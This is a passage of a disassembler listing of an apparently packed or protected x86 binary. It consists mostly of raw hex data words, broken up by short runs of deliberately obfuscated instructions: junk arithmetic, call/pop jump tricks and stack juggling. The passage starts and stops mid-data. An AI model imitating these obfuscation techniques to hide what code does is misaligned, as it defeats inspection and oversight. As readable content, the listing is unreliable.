0FD7E34D8h, 0CB06092Ah dd 0C641A916h, 0B523B730h, 728DB46Dh, 5F3ABB48h, 0BCC17CCFh dd 0C1BE2999h, 0CD3C9F18h, 0E5C6C014h, 606024C3h, 3CC364CEh dd 18D77790h, 0C96154B5h, 1FEAD15Fh, 7569DEAEh, 0FE3F38E4h dd 0FE43FE33h, 21FD9416h, 8F2D9A89h, 69A0797Ch, 0BFA82C5h dd 0B471239Eh, 0A24C728Dh, 0C96E2D2Fh, 0A64881B8h, 0BC516E89h dd 0B8189F88h, 9738B757h, 7D34A576h, 254EA4F7h, 0FDD40h dd 20F1D000h, 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h dd 0B3E021F3h, 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h dd 0D68FEA29h, 570C2399h, 0AA638C99h, 385F9D6Fh, 0E8FF7A99h dd 7F7C2995h, 0E87AE02Dh, 0D2510704h, 0A44A5B10h, 8A933C3Bh dd 967BB0C9h, 0B9702D29h, 7E853334h, 0BA4B7077h, 81CDAA33h dd 6A784FDDh, 8CB05D82h, 2F53E983h, 0C057BD4Dh, 1C2B7FD6h dd 934E86E4h, 9C55908Fh, 50C3B665h, 43402996h, 6677B3h dd 0CED10000h, 8595E873h, 0E4D2996h, 2996856Bh, 0DECB3BE8h dd 60BA2C38h, 577780B9h, 0D26435B8h, 8FA7037Fh, 0A546B12Fh dd 9ABC6D60h, 0C2497362h, 3CA18607h, 644732E1h, 0D7C4239Dh dd 870EFFE0h, 17E217D2h, 9D6481FCh, 0ED01FE23h, 0D23BA443h dd 3841D227h, 0B5239D64h, 2DBD26C8h, 99BA5FBBh, 29966F1Dh dd 5FC16320h, 76AB648Ch, 87A76289h, 85DCA6ADh, 8A822996h dd 943B96B2h, 0DF0E20C2h, 0EBD40DFCh, 43D00900h, 2996823Ah dd 0A24CAB7h, 59CA72Dh, 243B08FBh, 0AAC05612h, 960C1069h dd 59908D29h, 56B517A0h, 31CE73C0h, 0DA6D818Ch, 2F929DF0h dd 4C2DEECBh, 0C9239979h, 15EC15DCh, 99797306h, 0D801F023h dd 0E552E42Dh, 0FBE1F0DAh, 9720D910h, 8E5D231h, 0E947F105h dd 0AF51CAA6h, 0C11D9A4Dh, 615F664Eh, 0C1CEE9BEh, 1E7F12Dh dd 0B34C0000h, 0DE8B0209h, 31CE0238h, 5D0C818Ch, 0F139ADB9h dd 96851762h, 22E79429h, 0E98DCEFEh, 89299685h, 8247C42Ah dd 9C7ACE5Eh, 68FFAB4Ah, 7BC315h, 0A70DAD11h, 5752B745h dd 1ACE0343h, 66FF4AFEh, 0CDF20D34h, 0CE88AE40h, 8595E873h dd 15122996h, 0F3D94001h, 25F9DF0Eh, 1D60FBEBh, 9A2995CBh dd 2C1224EDh, 2F523AA6h, 6A7B50h, 4EC60000h, 6F43312Ah dd 3B011587h, 0E3268FFh, 7C8731CEh, 0A18EA079h, 0B516A158h dd 6F8C5D50h, 2996860Eh, 8A836C8Bh, 0DE9CAF3Fh, 61299685h dd 39BC4972h, 0CE77A960h, 0EC8DCE73h, 62299685h, 4D1C917Eh dd 0B7547A59h, 88AE6336h, 0A55E8CB2h, 0CE2E1283h, 3BED2246h dd 8393BA19h, 4572h, 0E172C700h, 2995D998h, 70C66815h dd 0DB0068FFh, 0CE41DF2Ah, 0A9628C73h, 6EE17524h, 29968608h dd 0CECF71A8h, 0B828D31h, 85CCAD6Eh, 5C492996h, 94B48195h dd 4A735E8Ch, 0B517D2C3h, 0E4637B18h, 77A9607Fh, 3AA62E12h dd 8A502F52h, 85D9A4AFh, 0A9562696h, 7F9985h, 0CE6B0000h dd 1B8A4246h, 0AA02F9EAh, 48E053D5h, 6CF81EBDh, 0CE83A5F5h dd 9685E98Dh, 0C152A729h, 299685B8h, 4EA64835h, 0FD8E8434h dd 64AD1D83h, 0CE7ACEC4h, 8595E873h, 0E10B2996h, 10F6A32Ah dd 0CCF40313h, 16318726h, 0AE631877h, 0FAF3A173h, 5D979D0h dd 0D5D8359Ah, 0CE4CF204h, 83908B31h, 299685FAh, 0AF3F8A77h dd 31CEEAC6h, 7B6C828Dh, 32h, 549C41BEh, 0C836DA0Bh, 0F717D24Ah dd 3466FF41h, 0E98DCE14h, 89299685h, 73CEAC5Ch, 99E52AA1h dd 28CEEE02h, 8E648C12h, 63928Ah, 53F53C0Eh, 46CE2E12h dd 0BD2DD83h, 36B75752h, 0FFFFFE10h, 92E59183h, 44BEDEFEh dd 749A715Bh, 3169FFBEh, 18064B08h, 0BE162F93h, 5164C9Ch dd 239A2C74h, 25E034F1h, 45AD4148h, 7458A158h, 4B4921B0h dd 0E21125BEh, 8FDDEFDh, 3A9F18C1h, 740516CBh, 0F1239A7Eh dd 20182234h, 88B168BAh, 7ED7A2B1h, 0A754239Ah, 2FC43445h dd 6A8C9640h, 99B696E7h, 9F161323h, 99B68BF4h, 0DED95E23h dd 0CF8A0B00h, 0B492C03Fh, 48D39638h, 3FC6F30Ch, 4373AFh dd 0CED50000h, 0E7F8A31h, 0E1CE795Bh, 8DBC02Dh, 0BC1663E6h dd 0FED62995h, 7FBC7651h, 0E80727D9h, 8FBBE907h, 0D6008058h dd 0BF0A05E9h, 4934DF1Ah, 0C62995E0h, 1EFB35D9h, 0E6D13CA1h dd 2F30308h, 118h, 3169FF3Eh, 8D234B08h, 8FBE2F8Fh, 0EB16DB2Ah dd 0AD20E9D4h, 0E2DD5AFCh, 17F0DCFBh, 0F4DCC396h, 0C72ED61Bh dd 9752C824h, 219E0BFFh, 8AC8EDCBh, 0FB3681DCh, 0C1DD2FFAh dd 0AA378AC5h, 0B12743D3h, 9EA3B069h, 0CE2999EDh, 0C795E873h dd 25121DA0h, 0A0C783F6h, 0CE03001Dh, 2ED3D028h, 3ADF2A91h dd 59FA1DBDh, 1DA0C720h, 0A429E09Dh, 0F0D761F5h, 0F053CCDh dd 0EE8B865Ch, 0D71026DFh, 0AE09BA12h, 56BE4D6Fh, 90079F4Bh dd 2F3BDB2Ch, 81B861B9h, 0A09FA7D2h, 0D777241Dh, 30C3B95Ah dd 1B3A239Dh, 86535AB1h, 0B06B964Bh, 17A40ECDh, 7CB95D4Ah dd 9EDF7CC5h, 1B17A40Eh, 0B277903Ch, 0EB1CC87h, 712E17A4h dd 5CB10EDDh, 531B2FA5h, 0CD4D1194h, 17A808E7h, 9DB1F52Bh dd 828B3493h, 0F41DDE31h, 0C2A3CCA4h, 0ADAh, 0FD1FF2CDh dd 0E319F6DAh, 0F72DD604h, 0E21AEBD0h, 0C30D703h, 10BCFB36h dd 3CA245F7h, 23CA2DCFh, 36973EE6h, 0FABF25D7h, 99D12059h dd 88289D23h, 7C8731CEh, 5F8EA079h, 9C7F5D7Eh, 9685FE7Fh dd 438E7B29h, 5B529752h, 0E705369Eh, 139A715Bh, 6FC66E46h dd 0E396C57Ch, 6029963Fh, 7B6493A3h, 0C1334275h, 0EED095A6h dd 8C1981Dh, 9F58CCC1h, 5657B818h, 46947383h, 68528966h dd 50B9249Bh, 9C458C5Dh, 0EF808238h, 0A0B61C8Eh, 14974996h dd 5C504D2Fh, 0B2000000h, 6ED946CEh, 0BC1C4284h, 1258CE9Ah dd 95FB7801h, 3BD0EE29h, 2FFDFBAh, 0C50112C7h, 0E32F8F26h dd 0F519F2DCh, 1DF2CEFDh, 0F7D6C198h, 3CE9B12h, 0DF8E1DEh dd 0A43DD188h, 9CD05A1Fh, 80CE3923h, 0D6E82AC6h, 0E0FDFA48h dd 5DF1A82Dh, 66C1h, 36B81C00h, 6FA743DAh, 0CE0339DDh dd 8595E873h, 15122996h, 75F36501h, 6D3CB154h, 5CDE7DA4h dd 572F8F95h, 3E9D6FAAh, 0C5878D15h, 189D6C4Fh, 0AF0F8841h dd 5415CE60h, 0C60B6EADh, 5C81239Ch, 0BE504DB1h, 5D7F8E2Fh dd 81B8557Ah, 1CBED38Bh, 4CE2AC0Ch, 49910793h, 704E6990h dd 96D87B9Bh, 312995D4h, 0CE6ED074h, 81928D31h, 299685F8h dd 4C418875h, 0CFDF799Dh, 2DDE00F7h, 0B48F1A8h, 29968572h dd 401C32EFh, 7F558CD6h, 71979C78h, 15AF4EBAh, 2A6080BEh dd 31E24FDFh, 2F8F38DDh, 79DA7330h, 0E41352A3h, 0C340AA15h dd 0BD7CFD1Eh, 0CF96326h, 80E87EEAh, 6F2AAB5Ch, 56787FBAh dd 8794A1B5h, 691FE50Bh, 0CAB36099h, 475D2D96h, 3F3CB45Ah dd 4DC01D9Ah, 3CAA40A9h, 16C43BE6h, 15EC49EDh, 26C845AAh dd 26D0C023h, 0C655AC63h, 57345BB3h, 1BE37330h, 0A24CB36Eh dd 3E01334Ch, 3AEFCCB3h, 0E9EC1FBDh, 0A6111E30h, 0B71DC449h dd 6FD9A29Eh, 0EB45E90Bh, 0FF0AB14Eh, 0CA45A98Eh, 0D53698FFh dd 0DB241h, 640656B3h, 3A3B3467h, 8BEh, 0E1030EB1h, 0F35DAF6h dd 0DB0102E8h, 0E36CFFCh, 0E00403E7h, 2C90CF42h, 20BE29DBh dd 2F8E39EBh, 1AC322DAh, 0D6A351F3h, 99CF3445h, 7C3CB123h dd 6FAA638Ch, 85F089CAh, 0B06D2996h, 1BA4459Eh, 97613AAEh dd 48FD7E2Ch, 5C7E6D81h, 678572A7h, 947831A4h, 13E6DADBh dd 250F1F53h, 0A445A335h, 9B71A861h, 0D6A70F28h, 0FBE1DE64h dd 831FE10h, 2F0BB204h, 799ACE42h, 2995BF00h, 0A549807Dh dd 92519BA2h, 7D61902Fh, 2AA25792h, 0E8A36C0Ah, 7F27B7F2h dd 0B91BCD50h, 2205DE70h, 58B319B8h, 86F34291h, 0A8C9B0FBh dd 811BDh, 34DD0400h, 609E510h, 32D1F7DEh, 7FEEB0Ah, 3DCAF2D5h dd 0C7F42D07h, 9540E423h, 0C530D437h, 9641E326h, 0C230D439h dd 0CE1366F5h, 0DB902399h, 1469FF1Dh, 1F45817Ch, 44C3275Dh dd 379D448Dh, 850D8B72h, 0BEAE6E6Dh, 0C9305377h, 0F841EE00h dd 341F8514h, 0FC8D99F4h, 0A036F742h, 500313DEh, 2F9232EDh dd 2AE10BEAh, 0B44BEEDFh, 0FEED010Ah, 611C37DCh, 0DE23990Dh dd 120BE821h, 88B0FBB4h, 78C7E67h, 607F0000h, 846C8BB1h dd 4C6E598Bh, 796285B7h, 4D6D588Ch, 71B082BAh, 0B76D9A42h dd 0A75DAE10h, 0B86C9D40h, 0A75DB00Dh, 9EDF7C3Dh, 1B2399CDh dd 69FF12B6h, 0E62BDAFFh, 1819203Bh, 611E2F93h, 745D8B6Ch dd 0AD0EC34Ch, 0B0FA5F7Ah, 3B0E1718h, 2E000007h, 1FC67E93h dd 49AC50BFh, 15C0649Fh, 4CAB51B4h, 5FB567A0h, 0B2557522h dd 8A816B8Ah, 0C1487352h, 0FA13BC1Bh, 3CD7A042h, 2399CD41h dd 0CE6709BEh, 8173D446h, 6D8146A7h, 29AC617Eh, 0B2517780h dd 9D704D9Ch, 966D5B64h, 3BA44A1Fh, 0CAF007B2h, 0F8E61539h dd 0C152CBF4h, 299636B8h, 58814835h, 1D907F5Fh, 0A790AA4Ch dd 5A5BAC10h, 5F806F7Fh, 0DE9C27AEh, 5A299636h, 917E6271h dd 11844D1Ch, 5144C926h, 0AB818666h, 81D08EDCh, 6F9E3FB8h dd 3A3220DFh, 45A5B95h, 0BBE965F5h, 8834CB76h, 64C56F7Fh dd 4F02570h, 213595C9h, 0D2EEEDD2h, 0A32AE10Bh, 0FFF63BF6h dd 0B36D7F8h, 2417DE36h, 8BD90F36h, 95C90D70h, 799D8A29h dd 2E725ABFh, 0FEAAD71Dh, 56C09CB2h, 3630F9EFh, 955CEB36h dd 1D93AF6Ch, 36C12F8Fh, 4E9C7095h, 5FB07B77h, 6522DA7Ch dd 6F96E370h, 0CC75239Dh, 6F93E675h, 1310239Dh, 0F0D60403h dd 48D64F7Ch, 3D39h, 69FF0B00h, 0BE2FDEFFh, 60FB26EBh dd 2F8F97CEh, 0AB93CE9h, 239D726Bh, 8F0601E9h, 0CFC647A8h dd 40F8D3FDh, 4F257179h, 9C422A38h, 66AB7E6Fh, 5F2733DAh dd 48D6198Dh, 1014Ah, 46CE9C00h, 11E844h, 7E608FCh, 0C1A627E6h dd 0CC33EE19h, 9D46E821h, 11F8E3DCh, 3CD1EEFDh, 0D31CF0B9h dd 5DE9FEC0h, 0A13EAD41h, 4F69B86Ch, 89299622h, 99BD526Eh dd 8566755Ah, 955C0D80h, 0A667886Fh, 0F52DBB2Fh, 0F4CF54Ch dd 2996196Eh, 26DF0CEBh, 1F2FFAAFh, 8F2F2A2Ch, 4A09302Fh dd 239D032Fh, 975FEFACh, 0FBF213B8h, 0D841E32Eh, 0EA0FFEDFh dd 9D035029h, 3ED0CD23h, 0B36EB422h, 3ACCD8Eh, 7C29239Dh dd 0A2BE5DDAh, 512998F7h, 0AA12AD54h, 494CC32Bh, 44A35990h dd 0A9D47F98h, 261DA10Fh, 0FAFCA89h, 6F2C1DA1h, 0FFA46FBAh dd 0DBEF3BAh, 53401E4h, 0C8270000h, 8C349349h, 54766183h dd 816A8DAFh, 55756084h, 79B88AB2h, 0CF75923Ah, 9F45C628h dd 0D0749538h, 9F45C825h, 0A6D78435h, 232399CBh, 608C0AAEh dd 688572A7h, 0D57930A5h, 9C41BE5Bh, 9F648671h, 8E7F608Fh dd 46CEB856h, 0ADEEB16Fh, 0E58195C5h, 5F22773h, 261323E6h dd 8EC835F5h, 49748B2Fh, 0FA1CCDC0h, 22E9D302h, 185DE6E7h dd 96239CA2h, 0D5E2D338h, 2A213F6h, 0D1673723h, 0AA694F68h dd 9CA31069h, 59908D23h, 2E1846B5h, 48D6BEB2h, 12A73h dd 31CED500h, 0A2777E89h, 70805D8Ch, 2BE84C6Eh, 29965C52h dd 7BFAD2CFh, 0F00C9A21h, 0B148C7C9h, 0B188B178h, 95F8D7A2h dd 87A75429h, 9671595Eh, 0FD48741Fh, 9F402995h, 0AE0FB66Eh dd 8B61912Dh, 0CD98B8F2h, 43FE33FEh, 0BC3EAFD1h, 0FEEC3F88h dd 0C12ACC05h, 2AD9FFF8h, 94CE5804h, 61CA676Dh, 81A8D182h dd 78252996h, 8B005394h, 0C58DCE6Bh, 902F8F36h, 98C7761h dd 82816750h, 0C7259247h, 0D088B244h, 0DAE51C46h, 330016F3h dd 22CC330Eh, 0A2F4AE9h, 2CE7239Dh, 239D0A51h, 30EDD1CEh dd 0FADA2B1Eh, 75822998h, 59A1B558h, 71B8557Ah, 7C8B2FC8h dd 73585FC8h, 0A84E1B92h, 8A34A149h, 945D0C81h, 0F3A00C47h dd 0F8FDF6BEh, 3CEh, 51F31EC1h, 1FC54AA6h, 4BF112B8h, 1EC63FACh dd 50F413B7h, 0DC00BFF2h, 0F0CEF92Bh, 0DFFEE91Bh, 0EAD3F22Ah dd 26D30123h, 99CA84F5h, 0AC4C0123h, 72A7608Ch, 85F18CC7h dd 0B16E2996h, 0CB76939Dh, 9685ED90h, 42BD6A29h, 0EDD719Eh dd 48C52AB1h, 85F78291h, 87742996h, 8C849A42h, 886FAA63h dd 5790A667h, 0D1AC6792h, 4E299685h, 94017B51h, 306ADA0Eh dd 1FEECF1Eh, 62DB4DFDh, 0E5A3067Ah, 0D3F8DFE5h, 1142F732h dd 2F8EF1B5h, 0FA15B998h, 242F0A2Fh, 239C9B59h, 0DC0529D6h dd 0A793B71Dh, 53BCFBECh, 0ACE990C3h, 8767239Ch, 0BB220588h dd 4CC3474Eh, 7FB8401Eh, 3C94A28Dh, 0A3767790h, 0EE8851h dd 3C30FEEh, 48D6DE69h, 0BF1EC23Dh, 2BFEEF1Eh, 75D450E6h dd 27000000h, 899E1AA5h, 0D47AF07Eh, 2146CE5Eh, 0FD423C72h dd 89ECA6Ch, 0CD2FAEB5h, 17D2D3B6h, 31E217E2h, 29968448h dd 1336D8C5h, 2F8FB5A3h, 52D9D4AEh, 58EDDE68h, 775D1C91h dd 600F50F0h, 0C78AACC4h, 239C94B2h, 7B51A891h, 312F54E0h dd 0FD809B30h, 73239D4Fh, 5B48BE45h, 281E4CBBh, 48D66BB4h dd 0B2517780h, 5CC86E3Bh, 34h, 55B6189Fh, 0CF658960h, 0BA8246CEh dd 0D8BD9CDBh, 0AE671336h, 0C0562995h, 0E2B45F9Ah, 2D2F8EC0h dd 966BCC70h, 0ACC5E13Eh, 0B95A6574h, 239D65C0h, 88AE403Dh dd 95E873CEh, 12299685h, 0F3650115h, 41B45775h, 0C178A168h dd 85A2DB78h, 301F2996h, 0A2B47D8Eh, 8F9D4FAFh, 0D1FA052Fh dd 0BD30DD02h, 0F9B025ECh, 7F09D55h, 0F9B025E4h, 9D6E1F5Ah dd 2ADF9C23h, 27E808EFh dd 0B91BDE07h, 0D296F6DDh, 63E608F4h, 239CB516h, 22CC1AF5h dd 9C4BF5D7h, 53F83BB8h, 9CF8B5C8h, 0E1753223h, 0D6D4B02Ch dd 9EBD8448h, 239CF0DBh, 9F8BAB58h, 46h, 0A173CE69h, 7298242Bh dd 0BEBF5C79h, 3B299629h, 0D0A5A84Eh, 90299629h, 512D383Ch dd 7F8F50F9h, 0D0FB75E3h, 0A49F039h, 2F8F5288h, 4C68060Eh dd 98C7D60h, 0E18C7C50h, 0A1DC77A2h, 1E239C91h, 7825CD61h dd 69FF6AC4h, 85671241h, 0FBDD2996h, 0F2D48508h, 1645FC35h dd 2F931817h, 9A6B5067h, 48B04613h, 8247C229h, 717F6057h dd 0F202BF29h, 18C108CFh, 29CD3C9Fh, 0B8A22A0Fh, 677AE5A9h dd 1CC130C6h, 9AF48F1h, 1026F3FAh, 8DD543D7h, 0FAE7C754h dd 0C23D2996h, 0F910BB1Ah, 0F3ECBD30h, 46AE40C7h, 0B617A059h dd 7B84A557h, 5594BA51h, 8A209578h, 0E61BC61Ch, 9DD64435h dd 32C4C11Dh, 0FF445605h, 827F2396h, 0F7151031h, 0FCE90AA4h dd 102h, 537DAF5h, 0EB11FEE2h, 0FF25DE0Ch, 0EA12F3D8h dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh dd 82379D3Fh, 99C7A8D1h, 0C02523h, 83169FFh, 0B73ECDEFh dd 34DF4CE2h, 2F931776h, 40E9EC99h, 14F817B7h, 4A8E8533h dd 0BF2EC027h, 0EA1DBD1Eh, 49FB36E3h, 3FDC419Eh, 2399F73Eh dd 9203CEBBh, 19EAD0E7h, 513C52F5h, 6288755Dh, 0A24B2CA1h dd 9C9DE07Bh, 6D1AD1D6h, 62A931A4h, 0D4A3AA74h, 0C449A686h dd 0D818B520h, 8694BBA5h, 609950A5h, 1401156Ch, 6D6A1174h dd 5099BD50h, 6D518267h, 739635A2h, 0B762A782h, 7E6FA040h dd 0B8628BABh, 63690551h, 6455F3CAh, 9B5AFC8Eh, 0DB26DB32h dd 0D6AE3D40h, 29CDBAD1h, 2ACF2A0Fh, 0D6AE90E9h, 3100DD1h dd 0D1D6AE7Ah, 5E40AF7h, 555908E8h, 4331CB78h, 836C538Eh dd 0C056038Ah, 0C08A8227h, 0C0A32D1Ch, 3E8092Dh, 18000000h dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h dd 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h, 561BCCC1h dd 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh ; --------------------------------------------------------------------------- pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0], edi push 5C14h mov [esp+0], ecx push ebx mov ebx, 62331890h sub ebx, 729C043Dh push edx mov edx, 2C6979CEh and edx, 11164B7Eh dec edx or edx, 66DF5B9Fh xor edx, 2271245Fh xor ebx, edx pop edx shl ebx, 6 and ebx, 53247C46h shr ebx, 8 xor ebx, 5BE942Dh mov edi, ebx pop ebx push esp mov ecx, [esp+0] add esp, 4 push ebx mov ebx, 8 add ebx, ecx mov [ebx], edi mov ebx, [esp+0] add esp, 4 mov ecx, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp mov edi, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- db 0FDh dd 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h ; --------------------------------------------------------------------------- loc_5A7674: ; CODE XREF: sub_5A47B5:loc_5A496Fj mov eax, 5FCBFBEh add eax, ebp jmp eax sub_5A47B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0B6h, 2 dup(90h) dd 0C39A017Eh, 570C9020h, 0DDEB0222h, 0F8AD5214h, 6632DD74h dd 0F3318160h, 0E7A3BF5Eh, 32B5A35Bh, 6185A43h, 6307004Fh dd 6DE5DC1Ah, 0B11C514Ah, 0C4D15D68h, 0D57D4D6Ah, 4B1B1B4Ch dd 2FE54F39h, 7DEF295Ch, 482B3F28h, 0D01B8D6Ah, 0EDCD0D08h dd 7E72326Ch, 5D951A79h, 0BAC58207h, 0F42D5248h, 0A8B25D4Ch dd 8380B007h, 3094DD6Dh, 400E923h, 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FB48+4B8h dd offset dword_44FF94+6Ch dd 0 dd 5DE90000h, 89000011h, 0F90A619Dh, 0C5858B05h, 6A05F90Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 14F4C353h, 0DD265BC7h, 0C1B5890Dh, 3905F909h dd 0F042444h, 9B85h, 0A5BD8900h, 6005F90Fh, 12C19589h dd 0BD8B05F9h, 5F93139h, 51BD8361h, 5F92Bh, 7A840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 66FBBDC3h, 0B6024C4h, 0F92401BDh, 7DBD8905h, 6105F915h dd 3A6A858Dh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 1791AC3h, 0F90941B5h, 6AE0FF05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0B56DC352h, 9CBF54C3h, 2109858Bh, 6A05F9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 24960CC3h, 11E91E16h, 2B000000h, 0A50C35B6h, 967F3D16h dd 0F1E93F65h, 41C449A6h, 2B0D8D89h, 443905F9h, 850F0424h dd 41h, 0AE960h, 352A0000h, 0E9C51D48h, 3A754D3Fh, 14E9h dd 5FD18C00h, 0A13838A9h, 0A8040540h, 0D04842F9h, 65A9C22Ah dd 95896118h, 5F90955h, 0C50185C7h, 105FCh, 810F0000h dd 1, 6A60F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0C9EEBDC3h, 0E98F8CEDh, 36h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0ACC35343h, 10E997h dd 0B0F10000h, 1792E761h, 0F0172F7Dh, 68F091BEh, 9AFAh dd 1B80000h, 87000000h, 0FCC6C985h, 75C00B05h, 99B5FFF6h dd 8F05F918h, 0FCC4F985h, 6A206A05h, 9195FFFFh, 8305F924h dd 0F926D5BDh, 8740005h, 95FF006Ah, 5F91AEDh, 1825BD83h dd 740105F9h, 80680Dh, 0FF6A0000h, 249195FFh, 5E905F9h dd 0BC000000h, 0E1EB6062h, 0FD88A60h, 680h, 840F00h, 61000000h dd 0B8h, 548BF500h, 89FC2824h, 0F9328D85h, 18F0F05h, 0FC000000h dd 32918D89h, 3CBE05F9h, 1000000h, 0F928119Dh, 24740305h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 767DFCF8h, 452AA598h, 8529F84Eh, 5F9248Dh dd 2B60AD66h, 0F92905BDh, 41858905h, 6105F912h, 24244403h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h dd 56C18A4Ch, 68E0F98h, 29000000h, 0F91495B5h, 7E905h dd 747E0000h, 14A014FFh, 525090A3h, 0B8FA8B60h, 343737ACh dd 0F310F61h, 686h, 810F00h, 5A000000h, 0BB605058h, 1A88722Ah dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 3DA8E8C3h, 8B1C6C51h, 0CE97840h, 0A5000000h dd 0EB821D5Fh, 0CD89967Bh, 8371C3C0h, 0FCC501BDh, 850F0005h dd 120h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0D0C35747h, 82B4ABCCh, 9589DBDCh, 5F9344Dh, 8E9h dd 0F6173500h, 0A87A3F60h, 5250509Fh, 61605250h, 6160310Fh dd 310F585Ah, 810F5250h, 0 dd 6160310Fh, 585A585Ah, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 14A4C350h dd 12BE6660h, 61B8B0EDh, 14E9h, 4665B700h, 61105F42h, 6CC05047h dd 7365929Dh, 3098685h, 24448B82h, 858B602Ch, 5F90DD5h dd 0DBDB58Bh, 906105F9h, 57C6B060h, 0DE9h, 0F66B5500h dd 0C4AA351Ch, 68C811E8h, 615FED22h, 8EB96050h, 507731AFh dd 0F616052h, 0CE831h, 379C0000h, 9C10848Bh, 3CEF563Eh dd 5A583B70h, 60906158h, 0A49BD89h, 0BD2905F9h, 5F92595h dd 0B0858D61h, 6A05FC81h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B653C350h, 89EA1E8Dh dd 0F9143DB5h, 0F9D0FF05h, 28244403h, 68E0Fh, 0B5010000h dd 5F928E1h, 6018408Bh, 68D0Fh, 830F0000h, 0 ; --------------------------------------------------------------------------- sub [ebp+5F907F1h], eax popa inc eax push 0 push ebp call sub_5A7F7F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7F7F proc near ; CODE XREF: .XComp0:005A7F77p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5A7F7F endp ; --------------------------------------------------------------------------- xlat pusha sub [ebp+5F913B1h], esi clc popa mov [ebp+5FCC4FDh], eax mov [ebp+5F92559h], ebx pop eax push 0 push edx call sub_5A7FB1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7FB1 proc near ; CODE XREF: .XComp0:005A7FA9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5A7FB1 endp ; --------------------------------------------------------------------------- db 0BBh, 91h, 4Bh dd 0E90D9AE6h, 0Bh, 0CE97F6F4h, 3EC430D0h, 89F8F9CEh, 0F9174585h dd 78708B05h, 5558D09h, 0C68305F9h, 9D89601Ch, 5F91585h dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 84618FC3h, 0E8DE6406h, 24247C81h, 10000000h dd 0F3870Fh, 85890000h, 5F9203Dh, 7E96050h, 35000000h dd 72F01BC0h, 0E860D3E6h, 13h, 0FB3A89BDh, 66957DD5h, 54E5C24Eh dd 6FA76389h, 5955AE56h, 4896161h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 2CA4533Ah dd 1A8B0Fh, 23600000h, 0F9045185h, 0DE905h, 0EC60000h dd 0D286FC0Bh, 0B8496207h, 61B6B60Ah, 1890Fh, 60F80000h dd 29758D8Bh, 8B6105F9h, 0F282444h, 680h, 898D2900h, 5005F914h dd 6E95260h, 69000000h, 9FCEEC31h, 89615E65h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0DE1F38C3h, 1198589h, 0AE905F9h, 0E8000000h, 6AA14268h dd 0E3B94210h, 858DF8C5h, 5FC81B0h, 1E899529h, 806005F9h dd 4EB134E0h, 89D0FF61h, 0F91FD9B5h, 820F9605h, 6, 9558D89h dd 740305F9h, 850F2424h, 0Eh, 0A9958960h, 2B05F934h, 0F912918Dh dd 870F6105h, 0Ch, 7E9h, 4F049200h, 0A307C978h, 1399BD8Dh dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 16B1C0C3h, 8F8D61h, 5860F3Bh, 60000000h dd 6131D080h, 0F5260ADh, 8Ah, 95895800h, 5F9171Dh, 247C8161h dd 24h, 0C2870F10h, 0F000000h, 1B8Bh, 158B0F00h, 0E9000000h dd 10h, 0D4565545h, 0AC99F1F2h, 75BCC98Fh, 4A06F2B3h, 13E990h dd 2BE80000h, 0BA805F72h, 0CFBB5B6Ah, 386A9907h, 52A4A9C3h dd 6060503Fh, 4666C2BFh, 9FADBF54h, 0B4614B64h, 60906140h dd 0AEDB523h, 61F505F9h, 2824448Bh, 0BE990F8h, 77000000h dd 6F17049Ah, 5348BBC6h, 0F503772h, 688h, 7B76000h, 9061D08Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h dd 81B0858Dh, 6A05FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0A21B1AC3h, 89D0FF3Dh, 0F92711B5h dd 24440305h, 53006A24h, 